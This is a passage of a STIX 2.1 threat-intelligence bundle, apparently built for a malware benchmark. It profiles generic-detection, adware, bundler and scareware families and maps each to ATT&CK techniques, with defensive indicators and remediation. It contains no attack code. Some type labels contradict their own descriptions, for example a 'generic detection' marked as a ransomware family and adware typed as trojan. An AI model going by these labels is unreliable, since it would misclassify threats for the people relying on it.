      "description": "<h3>Executive Summary</h3>\n\"Omyaamfbexii\" is a generic detection identifier rather than a distinct, named malware family. It is typically generated automatically by antivirus engines\u2014often via machine learning or heuristic analysis\u2014to flag highly obfuscated executables or domains generated by a Domain Generation Algorithm (DGA) that exhibit malicious characteristics.\n\n<h3>Behavioral Analysis and Heuristic Triggers</h3>\nThe seemingly random string \"omyaamfbexii\" is characteristic of automated naming conventions used by security vendors when a file matches a behavioral profile of a trojan, but lacks a specific signature tying it to a known family (like Emotet or Trickbot). \n\nFiles flagged with this identifier frequently exhibit the following behaviors during dynamic analysis (sandboxing):\n<ul>\n<li><strong>Heavy Obfuscation:</strong> The executable is often packed using custom or commercial packers (e.g., UPX, Themida) to thwart static analysis and reverse engineering.</li>\n<li><strong>DGA Communications:</strong> The malware may attempt to resolve domain names consisting of pseudo-random character strings, indicating the use of a Domain Generation Algorithm to locate its command-and-control (C2) server.</li>\n<li><strong>Process Injection:</strong> It frequently attempts to inject malicious code into legitimate system processes (`explorer.exe`, `svchost.exe`) to hide its execution and bypass local firewalls.</li>\n</ul>\n\n<h3>Security Implications</h3>\nWhile a generic detection might seem less threatening than a named APT group, it often indicates the presence of a novel, zero-day threat, or a heavily mutated variant of existing malware. These files are typically downloaders or initial access trojans designed to pave the way for ransomware deployments.\n\n<h3>Investigation and Remediation</h3>\n<ul>\n<li><strong>File Isolation and Analysis:</strong> Immediately isolate the endpoint where the file was detected. Submit the flagged executable to an advanced malware sandbox or a malware analysis team to determine its true capabilities.</li>\n<li><strong>Network Forensics:</strong> Analyze network logs for DNS queries matching random strings, which may indicate successful DGA communication and provide IOCs (Indicators of Compromise) for blocking.</li>\n<li><strong>Comprehensive Sweeps:</strong> Utilize the IOCs gathered from dynamic analysis to sweep the entire enterprise network for lateral movement or secondary infections.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Omyaamfbexii",
        "Trojan.Generic",
        "DGA.Generic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Omyaamfbexii",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/omyaamfbexii"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4859f0a7-8ddd-516a-9568-95154c92dd94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a68b811-a1c7-57e2-891e-bfd94d604650",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omyaamfbexii exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cd925a0-51d1-55ba-a58c-d48c3d02b981",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a68b811-a1c7-57e2-891e-bfd94d604650",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omyaamfbexii exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a324f5be-c501-5da8-85ff-9d84cf9e5561",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a68b811-a1c7-57e2-891e-bfd94d604650",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omyaamfbexii exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37080ff8-e6d5-5afa-929c-c3a92a7cc84e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oneclick",
      "description": "Adware:Win32/Oneclick (often part of software bundling networks) is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries through its own affiliated engines, injects unwanted advertisements, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Oneclick</b><br>To an end-user, Oneclick manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars at the top of the browser window. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising.<br><br><b>Execution and Hijacking Mechanics</b><br>Oneclick is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) in Internet Explorer (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oneclick",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oneclick"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3e5398b-26f4-51b1-aa50-daa1125528bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37080ff8-e6d5-5afa-929c-c3a92a7cc84e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneclick exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b32f3241-a29a-5efb-9647-a3fb9bfd51c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37080ff8-e6d5-5afa-929c-c3a92a7cc84e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneclick exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92afd476-2866-5a8e-8d39-4eb69a57b3f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37080ff8-e6d5-5afa-929c-c3a92a7cc84e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneclick exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08804ddf-46d2-5193-aff6-cf7dc70e70ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37080ff8-e6d5-5afa-929c-c3a92a7cc84e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneclick exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cbc72ee1-aafe-5434-854f-ab5e888d17ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oneclickdownloader",
      "description": "Adware:Win32/Oneclickdownloader is a widespread Potentially Unwanted Program (PUP) categorized as a 'Bundler' or 'Wrapper'. Its primary function is to act as an installation conduit for other software. While it may install a legitimate freeware application the user intended to download, its deceptive core purpose is to silently package and install multiple other unwanted applications\u2014such as browser hijackers, fake system optimizers, and aggressive adware\u2014to generate pay-per-install revenue.<br><br><b>Understanding Oneclickdownloader (Software Bundling)</b><br>To an end-user, executing Oneclickdownloader looks like a normal, albeit cluttered, software setup wizard. However, if the user rapidly clicks 'Next' without reading the fine print (employing 'dark pattern' UI design), their machine is flooded with unwanted software. For a security administrator, Oneclickdownloader represents a significant risk to endpoint hygiene and a primary vector for introducing vulnerabilities and data-tracking components (`T1189`).<br><br><b>Execution and Deception Mechanics</b><br>Oneclickdownloader is heavily distributed via third-party software download portals or through deceptive advertisements offering 'free' utilities. Upon execution (`T1204.002`), the wrapper requests Administrator privileges. It then communicates with its backend servers (`T1105`) to download and silently install the bundled payloads in the background while displaying the installation progress for the primary application. These secondary payloads establish their own persistence (`T1547.001`), aggressively modify browser settings (`T1562.001`), and begin displaying intrusive advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, massive system slowdowns, and increased attack surface. Host-based IoCs include the sudden appearance of multiple unknown applications in the Windows 'Programs and Features' list occurring at the exact same timestamp, new browser extensions, and hijacked homepage settings. Network IoCs include EDR alerts for a single installer process (`oneclickdownloader.exe`) spawning multiple child setup processes or making numerous outbound connections to diverse software distribution domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oneclickdownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oneclickdownloader"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48c84872-b398-5202-98c7-d8aa4fc4b611",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc72ee1-aafe-5434-854f-ab5e888d17ba",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneclickdownloader exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa047877-0450-5e83-abe7-996a9ba48f92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc72ee1-aafe-5434-854f-ab5e888d17ba",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneclickdownloader exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af8257a7-2e2a-5aee-96bf-c93c0bcf021e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc72ee1-aafe-5434-854f-ab5e888d17ba",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneclickdownloader exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking by the payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--641b7511-2d90-5e92-9d8c-17fd08b08b58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oneinstaller",
      "description": "Adware:Win32/Oneinstaller is a widespread Potentially Unwanted Program (PUP) categorized as a 'Bundler'. Its primary function is to act as an installation wrapper for other software. While it may install a legitimate freeware application the user requested, it deceptively packages and installs multiple other unwanted applications\u2014such as browser hijackers, fake system optimizers, and aggressive adware\u2014to generate pay-per-install revenue for the developers.<br><br><b>Understanding Oneinstaller (Software Bundling)</b><br>To an end-user, executing Oneinstaller looks like a normal software setup wizard. However, if the user rapidly clicks 'Next' without reading the fine print (a 'dark pattern' UI design), their machine is flooded with unwanted software. For a security administrator, Oneinstaller represents a significant risk to endpoint hygiene and a common vector for introducing vulnerabilities (`T1189`).<br><br><b>Execution and Deception Mechanics</b><br>Oneinstaller is primarily distributed via third-party software download portals (like CNET or Softonic) or through deceptive advertisements offering 'free' utilities. Upon execution (`T1204.002`), the wrapper requests Administrator privileges. It then downloads and silently installs (`T1105`) the bundled payloads in the background while displaying the installation progress for the primary application. These secondary payloads establish persistence (`T1547.001`), modify browser settings (`T1562.001`), and begin displaying intrusive advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, system slowdowns, and increased attack surface due to the installation of unverified software. Host-based IoCs include the sudden appearance of multiple unknown applications in the Windows 'Programs and Features' list, new browser extensions, and modified homepage settings. Network IoCs include EDR alerts for a single installer process spawning multiple child processes or making numerous outbound connections to diverse software distribution domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oneinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oneinstaller"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3abb25d6-91eb-56c4-9055-b58982ed9689",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--641b7511-2d90-5e92-9d8c-17fd08b08b58",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneinstaller exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d51e272-2d49-5dc1-8f36-6bffcca257e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--641b7511-2d90-5e92-9d8c-17fd08b08b58",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneinstaller exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a27fdd35-bd89-5e22-8387-c0c38398c5e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--641b7511-2d90-5e92-9d8c-17fd08b08b58",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oneinstaller exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking by the payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35a7a269-c219-5a69-9085-e5ef2d5d1d88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Onescan",
      "description": "Rogue:Win32/Onescan is a family of Rogue Antivirus (Scareware) programs designed to extort money from users through fear and deception. It mimics the appearance and behavior of legitimate security software, performing fake system 'scans' and displaying alarming, fabricated alerts regarding critical malware infections. It then demands that the user purchase a 'full license' to remove the non-existent threats.<br><br><b>Understanding Onescan (Scareware)</b><br>To an end-user, Onescan is terrifying. It frequently locks the desktop, prevents other programs from running, and bombards the screen with flashing red warnings about critical data loss or impending system failure. For a security analyst, Onescan is a Potentially Unwanted Program (PUP) that utilizes aggressive social engineering (`T1566.002`) and system hijacking (`T1562.001`) to commit fraud.<br><br><b>Execution and Hijacking Mechanics</b><br>Onescan is typically distributed via Drive-by Compromise (`T1189`), deceptive advertisements, or bundled with free software. Upon execution, it modifies the Windows Registry (`T1112`) to ensure it runs automatically on startup (`T1547.001`). Crucially, it attempts to Impair Defenses (`T1562.001`) by terminating legitimate antivirus processes, disabling the Windows Task Manager, and sometimes modifying the `hosts` file to block access to legitimate security vendor websites, ensuring the user cannot seek outside help.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial loss for the victim and severe disruption of system usability. Host-based IoCs include the presence of unexpectedly installed software with generic security names (e.g., 'Antivirus Pro 2012', 'System Defender'), anomalous Registry modifications disabling the Task Manager or Registry Editor, and EDR alerts for a process attempting to terminate known security agent services. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Onescan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/onescan"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d415169f-4b7b-5b73-8692-5e811c967f34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35a7a269-c219-5a69-9085-e5ef2d5d1d88",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onescan exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Killing legitimate AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4d0c454-2b8b-531a-9829-b7c2fdd12cce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35a7a269-c219-5a69-9085-e5ef2d5d1d88",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onescan exhibits technique T1112 (Modify Registry (Disabling Task Manager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39708ecc-f5f8-5637-9499-e6a7729309b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35a7a269-c219-5a69-9085-e5ef2d5d1d88",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onescan exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36f331c1-d9e4-5dfd-a2da-13c8dd760235",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35a7a269-c219-5a69-9085-e5ef2d5d1d88",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onescan exhibits technique T1189 (Drive-by Compromise (Malvertising distribution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d5e6b6e6-66ea-5a3a-bc88-d90601f69c29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Onesyscare",
      "description": "Rogue:Win32/Onesyscare represents a classic example of **'Scareware' or Fake System Optimizers**. It is a deceptive program that masquerades as a legitimate Windows utility, antivirus, or registry cleaner. Its sole purpose is to perform a fabricated 'scan' of the system, report hundreds of non-existent critical errors or malware infections, and then aggressively demand that the user purchase a license to 'fix' the problems it just invented.<br><br><b>Understanding Onesyscare (Scareware)</b><br>To an end-user, Onesyscare is highly alarming. It utilizes deceptive UI design, flashing warning icons, and alarming language to induce panic. It preys on the user's lack of technical knowledge. For a security analyst, Onesyscare is considered a Potentially Unwanted Program (PUP) or Rogue software. While it generally does not encrypt files or steal credentials like a true trojan, it significantly degrades the user experience and represents a successful social engineering attack.<br><br><b>Execution and Deception Mechanics</b><br>Onesyscare is typically distributed via deceptive web advertisements (malvertising), fake software update pop-ups, or bundled tightly with free software downloaded from unverified portals (`T1189`). Upon installation (`T1204.002`), it establishes persistence via the Registry Run keys to ensure it launches every time the computer boots (`T1547.001`). The software then initiates its fake scan, intentionally flagging benign temporary files or standard registry keys as 'Severe Threats'. It constantly generates intrusive pop-up notifications from the system tray (`T1491.001`). To further coerce the user, it may intentionally slow down the computer or block the execution of legitimate administrative tools, claiming those tools are 'infected', until the user inputs credit card information into its built-in payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (fraudulent software purchase) and a severely degraded system. Host-based IoCs are obvious: the presence of a highly aggressive, unknown 'optimization' program launching on boot, constant system tray warnings, and the inability to run standard Windows troubleshooting tools. Network IoCs involve traffic to the rogue software's payment processing domains. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Onesyscare",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/onesyscare"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7b60232-aeb4-56eb-90c4-65505de897e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5e6b6e6-66ea-5a3a-bc88-d90601f69c29",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesyscare exhibits technique T1491.001 (Defacement: Internal Defacement (Fake alert pop-ups and UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f75f1470-64b5-51dd-b677-769cb6920df1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5e6b6e6-66ea-5a3a-bc88-d90601f69c29",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesyscare exhibits technique T1204.002 (User Execution: Malicious File (User tricked into installing the software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2632378c-a9a8-5a0c-9d28-76fe69a23205",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5e6b6e6-66ea-5a3a-bc88-d90601f69c29",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesyscare exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efeb5baf-17d9-56e5-8720-b48803e489d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5e6b6e6-66ea-5a3a-bc88-d90601f69c29",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesyscare exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e176d38d-d021-5ff9-83f3-a3c8e80dcbd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Onesystemcare",
      "description": "OneSystemCare (classified across security vendors as PUA:Win32/OneSystemCare and Program:Win32/OneSystemCare) is a Potentially Unwanted Application and scareware PC optimizer. Marketed as a system performance accelerator and registry cleaner, OneSystemCare deliberately inflates harmless temporary files, ordinary browser caches, and benign Windows registry keys into severe security vulnerabilities and critical performance hazards. It displays persistent intrusive alert pop-ups urging users to buy a paid software license to fix the non-existent errors, installs background updater services, and establishes persistent autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/OneSystemCare",
        "Program:Win32/OneSystemCare",
        "OneSystemCare Optimizer",
        "Rogue:Win32/OneSystemCare",
        "Win32/OneSystemCare"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Onesystemcare",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/onesystemcare"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d269aac5-7d67-5c7b-a834-9fb894e6fab0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e176d38d-d021-5ff9-83f3-a3c8e80dcbd6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesystemcare exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aff7d2fe-1784-5eae-9533-d9f48da161ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e176d38d-d021-5ff9-83f3-a3c8e80dcbd6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesystemcare exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e01cf96b-c1e5-5339-9499-ee8fd9e26cf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e176d38d-d021-5ff9-83f3-a3c8e80dcbd6",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesystemcare exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9320df69-0d90-5fb4-aafe-3c0b593bec71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e176d38d-d021-5ff9-83f3-a3c8e80dcbd6",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesystemcare exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2a1c7d3-6160-501d-ba38-551804fea753",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e176d38d-d021-5ff9-83f3-a3c8e80dcbd6",
